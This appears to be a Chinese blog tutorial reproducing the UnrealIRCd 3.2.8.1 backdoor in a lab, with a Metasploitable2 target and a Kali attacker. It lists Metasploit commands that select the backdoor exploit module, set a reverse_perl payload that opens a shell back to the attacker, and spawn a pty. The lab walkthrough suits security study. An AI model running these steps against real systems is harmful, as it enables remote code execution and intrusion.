UnrealIRCd后门漏洞

一、介绍

  • IRC是Internet Relay Chat 的英文缩写,中文一般称为互联网中继聊天
  • 它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务
  • IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到一台IRC服务器上即可。它的特点是速度非常之快,聊天时几乎没有延迟的现象,并且只占用很小的带宽资源
  • 所有用户可以在一个被称为"Channel"(频道)的地方就某一话题进行交谈或密谈,每个IRC的使用者都有一个Nickname(昵称)
  • UnrealIRCd 是一个开源的 IRC 服务器

二、原理:

  • 在2009年11月到2010年6月间分布于某些镜面站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码
  • 影响系统/软件:Unreal UnrealIRCd3.2.8.1

三、复现准备

  1. 靶机:Metasplotable2-Linux - 192.168.9.147
  2. 攻击机:Kali - 192.168.9.148

四、漏洞复现

  1. 使用nmap扫描靶机的IP地址,可以看到靶机的139和445端口
    在这里插入图片描述

  2. 启动metasploit
    在这里插入图片描述

  3. 搜索ircd的相关工具和攻击载荷

search ircd

在这里插入图片描述

  1. 启动漏洞利用模块
exploit/unix/irc/unreal_ircd_3281_backdoor

在这里插入图片描述

  1. 在终端中输入命令 show options,查看需要设置的相关项,yes表示必须填写的参数
    在这里插入图片描述

  2. 设置目标主机的IP地址

set rhosts 192.168.9.147

在这里插入图片描述

  1. 攻击
exploit

在这里插入图片描述

  1. 发生报错,这里我们手动设置payload
set payload cmd/unix/reverse_perl

在这里插入图片描述

  1. 再设置LHost(攻击的IP地址)
set LHOST 192.168.9.148

在这里插入图片描述

  1. 再攻击
    在这里插入图片描述

  2. 成功
    在这里插入图片描述

  3. 进入交互界面

python -c 'import pty;pty.spawn("/bin/sh")'

在这里插入图片描述

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值